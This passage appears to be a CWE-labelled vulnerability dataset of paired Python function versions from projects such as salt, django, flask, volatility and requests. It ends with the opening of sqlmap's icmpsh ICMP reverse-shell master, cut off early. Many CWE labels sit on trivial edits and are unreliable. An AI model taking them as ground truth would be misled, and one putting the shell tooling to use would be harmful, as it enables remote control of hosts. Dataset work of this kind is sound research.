    <b>Test ID:</b> {test_id}<br>
    <b>Severity: </b>{severity}<br />
    <b>Confidence: </b>{confidence}</br />
    <b>File: </b><a href='{path}' target='_blank'>{path}</a> <br />
{code}
{candidates}
</div>
</span>
""""""

    code_block = u""""""
<span id='code'>
<pre>
{code}
</pre>
</span>
""""""

    candidate_block = u""""""
<span id='candidates'>
<br>
<b>Candidates: </b>
{candidate_list}
</span>
""""""

    candidate_issue = u""""""
<span id='candidate'>
<div class='candidate-issues'>
<pre>{code}</pre>
</div>
</span>
""""""

    skipped_block = u""""""
<br>
<span id='skipped'>
<div class='bordered-box'>
<b>Skipped files:</b><br><br>
{files_list}
</div>
</span>
""""""

    metrics_block = u""""""
<span id='metrics'>
    <div class='metrics-box bordered-box'>
        <div class='metrics-title'>
            Metrics:<br>
        </div>
        Total lines of code: <span id='loc'>{loc}</span><br>
        Total lines skipped (#nosec): <span id='nosec'>{nosec}</span>
    </div>
</span>

""""""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)

    baseline = not isinstance(issues, list)

    # build the skipped string to insert in the report
    skipped_str = ''.join('%s - %s\n' % (fname, reason)
                          for fname, reason in manager.skipped)
    if skipped_str:
        skipped_text = skipped_block.format(files_list=skipped_str)
    else:
        skipped_text = ''

    # build the results string to insert in the report
    results_str = ''
    for index, issue in enumerate(issues):
        if not baseline or len(issues[issue]) == 1:
            candidates = ''
            code = code_block.format(code=issue.get_code(lines, True).
                                     strip('\n').lstrip(' '))
        else:
            candidates_str = ''
            code = ''
            for candidate in issues[issue]:
                candidate_code = (candidate.get_code(lines, True).strip('\n').
                                  lstrip(' '))
                candidates_str += candidate_issue.format(code=candidate_code)

            candidates = candidate_block.format(candidate_list=candidates_str)

        results_str += issue_block.format(issue_no=index,
                                          issue_class='issue-sev-{}'.
                                          format(issue.severity.lower()),
                                          test_name=issue.test,
                                          test_id=issue.test_id,
                                          test_text=issue.text,
                                          severity=issue.severity,
                                          confidence=issue.confidence,
                                          path=issue.fname, code=code,
                                          candidates=candidates)

    # build the metrics string to insert in the report
    metrics_summary = metrics_block.format(
        loc=manager.metrics.data['_totals']['loc'],
        nosec=manager.metrics.data['_totals']['nosec'])

    # build the report and output it
    report_contents = report_block.format(metrics=metrics_summary,
                                          skipped=skipped_text,
                                          results=results_str)

    with utils.output_file(filename, 'w') as fout:
        fout.write(header_block)
        fout.write(report_contents)

    if filename is not None:
        logger.info(""HTML output written to file: %s"" % filename)"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_headers_preserve_order(self, httpbin):
        """"""Preserve order when headers provided as OrderedDict.""""""
        ses = requests.Session()
        ses.headers = OrderedDict()
        ses.headers['Accept-Encoding'] = 'identity'
        ses.headers['First'] = '1'
        ses.headers['Second'] = '2'
        headers = OrderedDict([('Third', '3'), ('Fourth', '4')])
        headers['Fifth'] = '5'
        headers['Second'] = '222'
        req = requests.Request('GET', httpbin('get'), headers=headers)
        prep = ses.prepare_request(req)
        items = list(prep.headers.items())
        assert items[0] == ('Accept-Encoding', 'identity')
        assert items[1] == ('First', '1')
        assert items[2] == ('Second', '222')
        assert items[3] == ('Third', '3')
        assert items[4] == ('Fourth', '4')
        assert items[5] == ('Fifth', '5')",CWE-703,psf/requests,b1a7dcd79915ec7a58043031da432b5841d4d8ec,"def test_headers_preserve_order(self, httpbin):
        """"""Preserve order when headers provided as OrderedDict.""""""
        ses = requests.Session()
        ses.headers = OrderedDict()
        ses.headers['Accept-Encoding'] = 'identity'
        ses.headers['First'] = '1'
        ses.headers['Second'] = '2'
        headers = OrderedDict([('Third', '3'), ('Fourth', '4')])
        headers['Fifth'] = '5'
        headers['Second'] = '222'
        req = requests.Request('GET', httpbin('get'), headers = headers)
        prep = ses.prepare_request(req)
        items = prep.headers.items()
        assert items[0] == ('Accept-Encoding', 'identity')
        assert items[1] == ('First', '1')
        assert items[2] == ('Second', '222')
        assert items[3] == ('Third', '3')
        assert items[4] == ('Fourth', '4')
        assert items[5] == ('Fifth', '5')"
,UNKNOWN,UNKNOWN,test/units/template/test_tests_as_filters_warning.py,1,"def test_tests_as_filters_warning(mocker):
    fake_loader = DictDataLoader({
        ""/path/to/my_file.txt"": ""foo\n"",
    })
    templar = Templar(loader=fake_loader, variables={})
    filters = templar._get_filters(templar.environment.filters)

    mocker.patch.object(display, 'deprecated')

    # Call successful test, ensure the message is correct
    filters['successful']({})
    display.deprecated.assert_called_once_with(
        'Using tests as filters is deprecated. Instead of using `result|successful` use `result is successful`', version='2.9'
    )

    # Call success test, ensure the message is correct
    display.deprecated.reset_mock()
    filters['success']({})
    display.deprecated.assert_called_once_with(
        'Using tests as filters is deprecated. Instead of using `result|success` use `result is success`', version='2.9'
    )

    # Call bool filter, ensure no deprecation message was displayed
    display.deprecated.reset_mock()
    filters['bool'](True)
    assert display.deprecated.call_count == 0

    # Ensure custom test does not override builtin filter
    assert filters.get('abs') != isabs",CWE-703,ansible/ansible,a30befa609199c1733c86d57a9e95501cb2ebb08,"def test_tests_as_filters_warning(mocker):
    fake_loader = DictDataLoader({
        ""/path/to/my_file.txt"": ""foo\n"",
    })
    templar = Templar(loader=fake_loader, variables={})
    filters = templar._get_filters(templar.environment.filters)

    mocker.patch.object(display, 'deprecated')

    # Call successful test, ensure the message is correct
    filters['successful']({})
    display.deprecated.assert_called_once_with(
        'Using tests as filters is deprecated. Instead of using `result|successful` instead use `result is successful`', version='2.9'
    )

    # Call success test, ensure the message is correct
    display.deprecated.reset_mock()
    filters['success']({})
    display.deprecated.assert_called_once_with(
        'Using tests as filters is deprecated. Instead of using `result|success` instead use `result is success`', version='2.9'
    )

    # Call bool filter, ensure no deprecation message was displayed
    display.deprecated.reset_mock()
    filters['bool'](True)
    assert display.deprecated.call_count == 0

    # Ensure custom test does not override builtin filter
    assert filters.get('abs') != isabs"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/url/handlers/mangle.py,0,"def _http_resp_2_httplib(self, original_response, mangled_response):
        """"""
        Convert an HTTPResponse.HTTPResponse object to a httplib.httpresponse
        subclass that I created in keepalive.

        :param original_response: HTTPResponse.HTTPResponse object
        :return: httplib.httpresponse subclass
        """"""
        ka_resp = MangledKeepAliveHTTPResponse()

        ka_resp.set_body(mangled_response.get_body())
        ka_resp.headers = mangled_response.get_headers()
        ka_resp.code = mangled_response.get_code()
        ka_resp._url = mangled_response.get_uri().url_string
        ka_resp.msg = original_response.msg
        ka_resp.id = original_response.id
        ka_resp.set_wait_time(original_response.get_wait_time())
        ka_resp.encoding = mangled_response.charset

        return ka_resp",,andresriancho/w3af,1d13fc4baf5b50e47c747d32909075b09d0de52b,"def _http_resp_2_httplib(self, original_response, mangled_response):
        """"""
        Convert an HTTPResponse.HTTPResponse object to a httplib.httpresponse
        subclass that I created in keepalive.

        :param HTTPResponse: HTTPResponse.HTTPResponse object
        :return: httplib.httpresponse subclass
        """"""
        ka_resp = MangledKeepAliveHTTPResponse()

        ka_resp.set_body(mangled_response.get_body())
        ka_resp.headers = mangled_response.get_headers()
        ka_resp.code = mangled_response.get_code()
        ka_resp._url = mangled_response.get_uri().url_string
        ka_resp.msg = original_response.msg
        ka_resp.id = original_response.id
        ka_resp.set_wait_time(original_response.get_wait_time())
        ka_resp.encoding = mangled_response.charset

        return ka_resp"
,UNKNOWN,UNKNOWN,pkg/tests/support/helpers.py,1,"def _install_pkgs(self, upgrade=False):
        pkg = self.pkgs[0]
        if platform.is_windows():
            if upgrade:
                self.root = self.install_dir.parent
                self.bin_dir = self.install_dir
                self.ssm_bin = self.install_dir / ""ssm.exe""
            if pkg.endswith(""exe""):
                # Install the package
                log.debug(""Installing: %s"", str(pkg))
                ret = self.proc.run(str(pkg), ""/start-minion=0"", ""/S"")
                self._check_retcode(ret)
            elif pkg.endswith(""msi""):
                # Install the package
                log.debug(""Installing: %s"", str(pkg))
                # Write a batch file to run the installer. It is impossible to
                # perform escaping of the START_MINION property that the MSI
                # expects unless we do it via a batch file
                batch_file = pathlib.Path(pkg).parent / ""install_msi.cmd""
                batch_content = f'msiexec /qn /i ""{str(pkg)}"" START_MINION=""""\n'
                with open(batch_file, ""w"") as fp:
                    fp.write(batch_content)
                # Now run the batch file
                ret = self.proc.run(""cmd.exe"", ""/c"", str(batch_file))
                self._check_retcode(ret)
            else:
                log.error(""Invalid package: %s"", pkg)
                return False

            # Remove the service installed by the installer
            log.debug(""Removing installed salt-minion service"")
            self.proc.run(str(self.ssm_bin), ""remove"", ""salt-minion"", ""confirm"")
            self.update_process_path()

        elif platform.is_darwin():
            daemons_dir = pathlib.Path(os.sep, ""Library"", ""LaunchDaemons"")
            service_name = ""com.saltstack.salt.minion""
            plist_file = daemons_dir / f""{service_name}.plist""
            log.debug(""Installing: %s"", str(pkg))
            ret = self.proc.run(""installer"", ""-pkg"", str(pkg), ""-target"", ""/"")
            self._check_retcode(ret)
            # Stop the service installed by the installer
            self.proc.run(""launchctl"", ""disable"", f""system/{service_name}"")
            self.proc.run(""launchctl"", ""bootout"", ""system"", str(plist_file))
        elif upgrade:
            log.info(""Installing packages:\n%s"", pprint.pformat(self.pkgs))
            ret = self.proc.run(self.pkg_mngr, ""upgrade"", ""-y"", *self.pkgs)
        else:
            log.info(""Installing packages:\n%s"", pprint.pformat(self.pkgs))
            ret = self.proc.run(self.pkg_mngr, ""install"", ""-y"", *self.pkgs)
        if not platform.is_darwin() and not platform.is_windows():
            # Make sure we don't have any trailing references to old package file locations
            assert ""No such file or directory"" not in ret.stdout
            assert ""/saltstack/salt/run"" not in ret.stdout
        log.info(ret)
        self._check_retcode(ret)",CWE-703,saltstack/salt,1f145d37f29b02e629fcfd449d1c2b460d651030,"def _install_pkgs(self, upgrade=False):
        pkg = self.pkgs[0]
        if platform.is_windows():
            if upgrade:
                self.root = self.install_dir.parent
                self.bin_dir = self.install_dir
                self.ssm_bin = self.install_dir / ""ssm.exe""
            if pkg.endswith(""exe""):
                # Install the package
                log.debug(""Installing: %s"", str(pkg))
                ret = self.proc.run(str(pkg), ""/start-minion=0"", ""/S"")
                self._check_retcode(ret)
            elif pkg.endswith(""msi""):
                # Install the package
                log.debug(""Installing: %s"", str(pkg))
                # Write a batch file to run the installer. It is impossible to
                # perform escaping of the START_MINION property that the MSI
                # expects unless we do it via a batch file
                batch_file = pathlib.Path(pkg).parent / ""install_msi.cmd""
                batch_content = f'msiexec /qn /i ""{str(pkg)}"" START_MINION=""""\n'
                with open(batch_file, ""w"") as fp:
                    fp.write(batch_content)
                # Now run the batch file
                ret = self.proc.run(""cmd.exe"", ""/c"", str(batch_file))
                self._check_retcode(ret)
            else:
                log.error(""Invalid package: %s"", pkg)
                return False

            # Remove the service installed by the installer
            log.debug(""Removing installed salt-minion service"")
            self.proc.run(str(self.ssm_bin), ""remove"", ""salt-minion"", ""confirm"")
            self.update_process_path()

        elif platform.is_darwin():
            daemons_dir = pathlib.Path(os.sep, ""Library"", ""LaunchDaemons"")
            service_name = ""com.saltstack.salt.minion""
            plist_file = daemons_dir / f""{service_name}.plist""
            log.debug(""Installing: %s"", str(pkg))
            ret = self.proc.run(""installer"", ""-pkg"", str(pkg), ""-target"", ""/"")
            self._check_retcode(ret)
            # Stop the service installed by the installer
            self.proc.run(""launchctl"", ""disable"", f""system/{service_name}"")
            self.proc.run(""launchctl"", ""bootout"", ""system"", str(plist_file))
        elif upgrade:
            log.info(""Installing packages:\n%s"", pprint.pformat(self.pkgs))
            ret = self.proc.run(self.pkg_mngr, ""upgrade"", ""-y"", *self.pkgs)
        else:
            log.info(""Installing packages:\n%s"", pprint.pformat(self.pkgs))
            ret = self.proc.run(self.pkg_mngr, ""install"", ""-y"", *self.pkgs)
        if not (platform.is_darwin() or platform.is_windows()):
            # Make sure we don't have any trailing references to old package file locations
            assert ""No such file or directory"" not in ret.stdout
            assert ""/saltstack/salt/run"" not in ret.stdout
        log.info(ret)
        self._check_retcode(ret)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/vadinfo.py,0,"def write_vad_control(self, outfd, vad):
        """"""Renders a text version of a (non-short) Vad's control information""""""

        # even if the ControlArea is not NULL, it is only meaningful 
        # for shared (non private) memory sections. 
        if vad.u.VadFlags.PrivateMemory == 1:
            return

        control_area = vad.ControlArea
        if not control_area:
            return

        outfd.write(""ControlArea @{0:08x} Segment {1:08x}\n"".format(control_area.dereference().obj_offset, control_area.Segment))
        outfd.write(""Dereference list: Flink {0:08x}, Blink {1:08x}\n"".format(control_area.DereferenceList.Flink, control_area.DereferenceList.Blink))
        outfd.write(""NumberOfSectionReferences: {0:10} NumberOfPfnReferences:  {1:10}\n"".format(control_area.NumberOfSectionReferences, control_area.NumberOfPfnReferences))
        outfd.write(""NumberOfMappedViews:       {0:10} NumberOfUserReferences: {1:10}\n"".format(control_area.NumberOfMappedViews, control_area.NumberOfUserReferences))
        outfd.write(""WaitingForDeletion Event:  {0:08x}\n"".format(control_area.WaitingForDeletion))
        outfd.write(""Control Flags: {0}\n"".format(str(control_area.u.Flags)))

        file_object = vad.FileObject

        if file_object:
            outfd.write(""FileObject @{0:08x}, Name: {1}\n"".format(file_object.obj_offset, str(file_object.FileName or '')))",,volatilityfoundation/volatility,d6050871e91dfdbad855817f0121c7c63298385a,"def write_vad_control(self, outfd, vad):
        """"""Renders a text version of a (non-short) Vad's control information""""""

        # even if the ControlArea is not NULL, it is only meaningful 
        # for shared (non private) memory sections. 
        if vad.u.VadFlags.PrivateMemory == 1:
            return

        control_area = vad.ControlArea
        if not control_area:
            return

        outfd.write(""ControlArea @{0:08x} Segment {1:08x}\n"".format(control_area.dereference().obj_offset, control_area.Segment))
        outfd.write(""Dereference list: Flink {0:08x}, Blink {1:08x}\n"".format(control_area.DereferenceList.Flink, control_area.DereferenceList.Blink))
        outfd.write(""NumberOfSectionReferences: {0:10} NumberOfPfnReferences:  {1:10}\n"".format(control_area.NumberOfSectionReferences, control_area.NumberOfPfnReferences))
        outfd.write(""NumberOfMappedViews:       {0:10} NumberOfUserReferences: {1:10}\n"".format(control_area.NumberOfMappedViews, control_area.NumberOfUserReferences))
        outfd.write(""WaitingForDeletion Event:  {0:08x}\n"".format(control_area.WaitingForDeletion))
        outfd.write(""Control Flags: {0}\n"".format(str(control_area.u.Flags)))

        file_object = vad.FileObject

        if file_object:
            outfd.write(""FileObject @{0:08x}, Name: {1}\n"".format(file_object.obj_offset, file_object.FileName))"
,UNKNOWN,UNKNOWN,tests/tensorflow/test_tensorflow2_autolog.py,1,"def test_tf_keras_autolog_implicit_batch_size_for_generator_dataset_without_side_effects(
    generator,
    batch_size,
):
    from tensorflow.keras.models import Sequential
    from tensorflow.keras.layers import Dense

    data = np.array([[1, 2, 3], [3, 2, 1], [2, 2, 2], [10, 20, 30], [30, 20, 10], [20, 20, 20]])
    target = np.array([[1], [3], [2], [11], [13], [12]])

    model = Sequential()
    model.add(
        Dense(
            5, input_dim=3, activation=""relu"", kernel_initializer=""zeros"", bias_initializer=""zeros""
        )
    )
    model.add(Dense(1, kernel_initializer=""zeros"", bias_initializer=""zeros""))
    model.compile(loss=""mae"", optimizer=""adam"", metrics=[""mse""])

    mlflow.autolog()
    actual_mse = model.fit(generator(data, target, batch_size), verbose=0).history[""mse""][-1]

    mlflow.autolog(disable=True)
    expected_mse = model.fit(generator(data, target, batch_size), verbose=0).history[""mse""][-1]

    np.testing.assert_allclose(actual_mse, expected_mse, atol=1)
    assert mlflow.last_active_run().data.params[""batch_size""] == str(batch_size)",CWE-703,mlflow/mlflow,c7cdef4d54abd31a45f10d3388113e9e2db08bbf,"def test_tf_keras_autolog_implicit_batch_size_for_generator_dataset_without_side_effects(
    generator,
    batch_size,
):
    from tensorflow.keras.models import Sequential
    from tensorflow.keras.layers import Dense

    data = np.array([[1, 2, 3], [3, 2, 1], [2, 2, 2], [10, 20, 30], [30, 20, 10], [20, 20, 20]])
    target = np.array([[1], [3], [2], [11], [13], [12]])

    model = Sequential()
    model.add(
        Dense(
            5, input_dim=3, activation=""relu"", kernel_initializer=""zeros"", bias_initializer=""zeros""
        )
    )
    model.add(Dense(1, kernel_initializer=""zeros"", bias_initializer=""zeros""))
    model.compile(loss=""mae"", optimizer=""adam"", metrics=[""mse""])

    mlflow.autolog()
    actual_mse = model.fit(generator(data, target, batch_size), verbose=0).history[""mse""][-1]

    mlflow.autolog(disable=True)
    expected_mse = model.fit(generator(data, target, batch_size), verbose=0).history[""mse""][-1]

    np.testing.assert_allclose(actual_mse, expected_mse, atol=1)
    assert mlflow.last_active_run().data.params[""batch_size""] == str(batch_size)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/win32/hashdump.py,0,"def find_control_set(sysaddr):
    root = rawreg.get_root(sysaddr)
    if not root:
        return 1

    csselect = rawreg.open_key(root, [""Select""])
    if not csselect:
        return 1

    for v in rawreg.values(csselect):
        if v.Name == ""Current"":
            return v.Data
            
    return 1",,volatilityfoundation/volatility,19d12116fe2f1f3d98873799c8fe80ddbf046f32,"def find_control_set(sysaddr):
    root = rawreg.get_root(sysaddr)
    if not root:
        return 1

    csselect = rawreg.open_key(root, [""Select""])
    if not csselect:
        return 1

    for v in rawreg.values(csselect):
        if v.Name == ""Current"":
            return v.Data"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/cli.py,0,"def load_dotenv(path=None):
    """"""Load ""dotenv"" files in order of precedence to set environment variables.

    If an env var is already set it is not overwritten, so earlier files in the
    list are preferred over later files.

    Changes the current working directory to the location of the first file
    found, with the assumption that it is in the top level project directory
    and will be where the Python path should import local packages from.

    This is a no-op if `python-dotenv`_ is not installed.

    .. _python-dotenv: https://github.com/theskumar/python-dotenv#readme

    :param path: Load the file at this location instead of searching.
    :return: ``True`` if a file was loaded.

    .. versionadded:: 1.0
    """"""
    if dotenv is None:
        if path or os.path.isfile('.env') or os.path.isfile('.flaskenv'):
            click.secho(
                ' * Tip: There are .env files present.'
                ' Do ""pip install python-dotenv"" to use them.',
                fg='yellow')
        return

    if path is not None:
        return dotenv.load_dotenv(path)

    new_dir = None

    for name in ('.env', '.flaskenv'):
        path = dotenv.find_dotenv(name, usecwd=True)

        if not path:
            continue

        if new_dir is None:
            new_dir = os.path.dirname(path)

        dotenv.load_dotenv(path)

    if new_dir and os.getcwd() != new_dir:
        os.chdir(new_dir)

    return new_dir is not None",,pallets/flask,b2ec6a33a235dbd9f57bd6265ec54cfb675243f7,"def load_dotenv(path=None):
    """"""Load ""dotenv"" files in order of precedence to set environment variables.

    If an env var is already set it is not overwritten, so earlier files in the
    list are preferred over later files.

    Changes the current working directory to the location of the first file
    found, with the assumption that it is in the top level project directory
    and will be where the Python path should import local packages from.

    This is a no-op if `python-dotenv`_ is not installed.

    .. _python-dotenv: https://github.com/theskumar/python-dotenv#readme

    :param path: Load the file at this location instead of searching.
    :return: ``True`` if a file was loaded.

    .. versionadded:: 1.0
    """"""
    if dotenv is None:
        if path or os.path.exists('.env') or os.path.exists('.flaskenv'):
            click.secho(
                ' * Tip: There are .env files present.'
                ' Do ""pip install python-dotenv"" to use them.',
                fg='yellow')
        return

    if path is not None:
        return dotenv.load_dotenv(path)

    new_dir = None

    for name in ('.env', '.flaskenv'):
        path = dotenv.find_dotenv(name, usecwd=True)

        if not path:
            continue

        if new_dir is None:
            new_dir = os.path.dirname(path)

        dotenv.load_dotenv(path)

    if new_dir and os.getcwd() != new_dir:
        os.chdir(new_dir)

    return new_dir is not None"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_thin.py,1,"def test_pack_alternatives_exclude(self):
        """"""
        test pack_alternatives when mixing
        manually set dependencies and auto
        detecting other modules.
        """"""
        patch_proc = patch(
            ""salt.utils.thin.subprocess.Popen"",
            self._popen(
                None,
                side_effect=[
                    (bts(self.fake_libs[""distro""]), bts("""")),
                    (bts(self.fake_libs[""yaml""]), bts("""")),
                    (bts(self.fake_libs[""tornado""]), bts("""")),
                    (bts(self.fake_libs[""msgpack""]), bts("""")),
                    (bts(self.fake_libs[""networkx""]), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                ],
            ),
        )

        patch_os = patch(""os.path.exists"", return_value=True)
        ext_conf = copy.deepcopy(self.ext_conf)
        ext_conf[""test""][""auto_detect""] = True

        for lib in self.fake_libs.values():
            os.makedirs(lib)
            with salt.utils.files.fopen(os.path.join(lib, ""__init__.py""), ""w+"") as fp_:
                fp_.write(""test"")

        exp_files = self.exp_files.copy()
        exp_files.extend(
            [
                os.path.join(""yaml"", ""__init__.py""),
                os.path.join(""tornado"", ""__init__.py""),
                os.path.join(""msgpack"", ""__init__.py""),
                os.path.join(""networkx"", ""__init__.py""),
            ]
        )

        patch_which = patch(""salt.utils.path.which"", return_value=True)

        with patch_os, patch_proc, patch_which:
            thin._pack_alternative(ext_conf, self.digest, self.tar)
            calls = self.tar.mock_calls
            for _file in exp_files:
                assert [x for x in calls if f""{_file}"" in x[-2]]",CWE-703,saltstack/salt,3701105a59a76d1b7dcdb46dd6e720bb85e59c42,"def test_pack_alternatives_exclude(self):
        """"""
        test pack_alternatives when mixing
        manually set dependencies and auto
        detecting other modules.
        """"""
        patch_proc = patch(
            ""salt.utils.thin.subprocess.Popen"",
            self._popen(
                None,
                side_effect=[
                    (bts(self.fake_libs[""distro""]), bts("""")),
                    (bts(self.fake_libs[""yaml""]), bts("""")),
                    (bts(self.fake_libs[""tornado""]), bts("""")),
                    (bts(self.fake_libs[""msgpack""]), bts("""")),
                    (bts(self.fake_libs[""networkx""]), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""""), bts("""")),
                    (bts(""looseversion.py""), bts("""")),
                    (bts(""packaging/__init__.py""), bts("""")),
                ],
            ),
        )

        patch_os = patch(""os.path.exists"", return_value=True)
        ext_conf = copy.deepcopy(self.ext_conf)
        ext_conf[""test""][""auto_detect""] = True

        for lib in self.fake_libs.values():
            os.makedirs(lib)
            with salt.utils.files.fopen(os.path.join(lib, ""__init__.py""), ""w+"") as fp_:
                fp_.write(""test"")

        exp_files = self.exp_files.copy()
        exp_files.extend(
            [
                os.path.join(""yaml"", ""__init__.py""),
                os.path.join(""tornado"", ""__init__.py""),
                os.path.join(""msgpack"", ""__init__.py""),
                os.path.join(""networkx"", ""__init__.py""),
            ]
        )

        patch_which = patch(""salt.utils.path.which"", return_value=True)

        with patch_os, patch_proc, patch_which:
            thin._pack_alternative(ext_conf, self.digest, self.tar)
            calls = self.tar.mock_calls
            for _file in exp_files:
                assert [x for x in calls if f""{_file}"" in x[-2]]"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/invalid_models_tests/test_relative_fields.py,0,"def test_clash_between_accessors(self):
        class Target(models.Model):
            pass

        class Model(models.Model):
            foreign = models.ForeignKey(Target)
            m2m = models.ManyToManyField(Target)

        errors = Model.check()
        expected = [
            Error(
                'Clash between accessors for Model.foreign and Model.m2m.',
                hint=('Add or change a related_name argument to the definition '
                      'for Model.foreign or Model.m2m.'),
                obj=Model._meta.get_field('foreign'),
                id='E016',
            ),
            Error(
                'Clash between accessors for Model.m2m and Model.foreign.',
                hint=('Add or change a related_name argument to the definition '
                      'for Model.m2m or Model.foreign.'),
                obj=Model._meta.get_field('m2m'),
                id='E016',
            ),
        ]
        self.assertEqual(errors, expected)",CWE-Unknown,django/django,d0133504e57589dc8983a20bf488e069bddd772c,"def test_clash_between_accessors(self):
        class Target(models.Model):
            pass

        class Model(models.Model):
            foreign = models.ForeignKey(Target)
            m2m = models.ManyToManyField(Target)

        errors = Model.check()
        expected = [
            Error(
                'Clash between accessors for Model.foreign and Model.m2m.',
                hint=('Add or change a related_name argument to the definition '
                      'for Model.foreign or Model.m2m.'),
                obj=Model._meta.get_field('foreign'),
                id='E016',
            ),
            Error(
                'Clash between accessors for Model.m2m and Model.foreign.',
                hint=('Add or change a related_name argument to the definition '
                      'for Model.m2m or Model.foreign.'),
                obj=Model._meta.get_field('m2m'),
                id='E016',
            ),
        ]
        self.assertEqual(errors, expected)"
,UNKNOWN,UNKNOWN,tests/admin_views/admin.py,1,"def get_search_results(self, request, queryset, search_term):
        queryset, use_distinct = super(PluggableSearchPersonAdmin, self).get_search_results(
            request, queryset, search_term
        )
        try:
            search_term_as_int = int(search_term)
        except ValueError:
            pass
        else:
            queryset |= self.model.objects.filter(age=search_term_as_int)
        return queryset, use_distinct",CWE-703,django/django,0a2d3b7387b815b4e5d5f3c026f8409fd2a7ff70,"def get_search_results(self, request, queryset, search_term):
        queryset, use_distinct = super(PluggableSearchPersonAdmin, self).get_search_results(
            request, queryset, search_term
        )
        try:
            search_term_as_int = int(search_term)
            queryset |= self.model.objects.filter(age=search_term_as_int)
        except:
            pass
        return queryset, use_distinct"
,UNKNOWN,UNKNOWN,tests/integration/shell/cp.py,1,"def test_cp_testfile(self):
        '''
        test salt-cp
        '''
        minions = []
        for line in self.run_salt('--out yaml ""*"" test.ping'):
            if not line:
                continue
            data = yaml.load(line)
            minions.extend(data.keys())

        self.assertNotEqual(minions, [])

        testfile = os.path.abspath(
            os.path.join(
                os.path.dirname(os.path.dirname(__file__)),
                'files', 'file', 'base', 'testfile'
            )
        )
        with salt.utils.fopen(testfile, 'r') as fh_:
            testfile_contents = fh_.read()

        for idx, minion in enumerate(minions):
            ret = self.run_salt(
                '--out yaml {0} file.directory_exists {1}'.format(
                    pipes.quote(minion), integration.TMP
                )
            )
            data = yaml.load('\n'.join(ret))
            if data[minion] is False:
                ret = self.run_salt(
                    '--out yaml {0} file.makedirs {1}'.format(
                        pipes.quote(minion),
                        integration.TMP
                    )
                )

                data = yaml.load('\n'.join(ret))
                self.assertTrue(data[minion])

            minion_testfile = os.path.join(
                integration.TMP, 'cp_{0}_testfile'.format(idx)
            )

            ret = self.run_cp('--out pprint {0} {1} {2}'.format(
                pipes.quote(minion),
                pipes.quote(testfile),
                pipes.quote(minion_testfile)
            ))

            data = yaml.load('\n'.join(ret))
            for part in six.itervalues(data):
                self.assertTrue(part[minion_testfile])

            ret = self.run_salt(
                '--out yaml {0} file.file_exists {1}'.format(
                    pipes.quote(minion),
                    pipes.quote(minion_testfile)
                )
            )
            data = yaml.load('\n'.join(ret))
            self.assertTrue(data[minion])

            ret = self.run_salt(
                '--out yaml {0} file.contains {1} {2}'.format(
                    pipes.quote(minion),
                    pipes.quote(minion_testfile),
                    pipes.quote(testfile_contents)
                )
            )
            data = yaml.load('\n'.join(ret))
            self.assertTrue(data[minion])
            ret = self.run_salt(
                '--out yaml {0} file.remove {1}'.format(
                    pipes.quote(minion),
                    pipes.quote(minion_testfile)
                )
            )
            data = yaml.load('\n'.join(ret))
            self.assertTrue(data[minion])",CWE-20,saltstack/salt,35b2076584ffeec8730f0f5af59bdec0dd29d257,"def test_cp_testfile(self):
        '''
        test salt-cp
        '''
        minions = []
        for line in self.run_salt('--out yaml ""*"" test.ping'):
            if not line:
                continue
            data = yaml.load(line)
            minions.extend(data.keys())     # pylint: disable=incompatible-py3-code
                                            #   since we're extending a list, the Py3 dict_keys view will behave
                                            #   as expected.

        self.assertNotEqual(minions, [])

        testfile = os.path.abspath(
            os.path.join(
                os.path.dirname(os.path.dirname(__file__)),
                'files', 'file', 'base', 'testfile'
            )
        )
        with salt.utils.fopen(testfile, 'r') as fh_:
            testfile_contents = fh_.read()

        for idx, minion in enumerate(minions):
            ret = self.run_salt(
                '--out yaml {0} file.directory_exists {1}'.format(
                    pipes.quote(minion), integration.TMP
                )
            )
            data = yaml.load('\n'.join(ret))
            if data[minion] is False:
                ret = self.run_salt(
                    '--out yaml {0} file.makedirs {1}'.format(
                        pipes.quote(minion),
                        integration.TMP
                    )
                )

                data = yaml.load('\n'.join(ret))
                self.assertTrue(data[minion])

            minion_testfile = os.path.join(
                integration.TMP, 'cp_{0}_testfile'.format(idx)
            )

            ret = self.run_cp('--out pprint {0} {1} {2}'.format(
                pipes.quote(minion),
                pipes.quote(testfile),
                pipes.quote(minion_testfile)
            ))

            data = yaml.load('\n'.join(ret))
            for part in six.itervalues(data):
                self.assertTrue(part[minion_testfile])

            ret = self.run_salt(
                '--out yaml {0} file.file_exists {1}'.format(
                    pipes.quote(minion),
                    pipes.quote(minion_testfile)
                )
            )
            data = yaml.load('\n'.join(ret))
            self.assertTrue(data[minion])

            ret = self.run_salt(
                '--out yaml {0} file.contains {1} {2}'.format(
                    pipes.quote(minion),
                    pipes.quote(minion_testfile),
                    pipes.quote(testfile_contents)
                )
            )
            data = yaml.load('\n'.join(ret))
            self.assertTrue(data[minion])
            ret = self.run_salt(
                '--out yaml {0} file.remove {1}'.format(
                    pipes.quote(minion),
                    pipes.quote(minion_testfile)
                )
            )
            data = yaml.load('\n'.join(ret))
            self.assertTrue(data[minion])"
,UNKNOWN,UNKNOWN,extra/icmpsh/icmpsh_m.py,1,"def main(src, dst):
    if sys.platform == ""nt"":
        sys.stderr.write('icmpsh master can only run on Posix systems\n')
        sys.exit(255)

    try:
        from impacket import ImpactDecoder
        from impacket import ImpactPacket
    except ImportError:
        sys.stderr.write('You need to install Python Impacket library first\n')
        sys.exit(255)

    # Make standard input a non-blocking file
    stdin_fd = sys.stdin.fileno()
    setNonBlocking(stdin_fd)

    # Open one socket for ICMP protocol
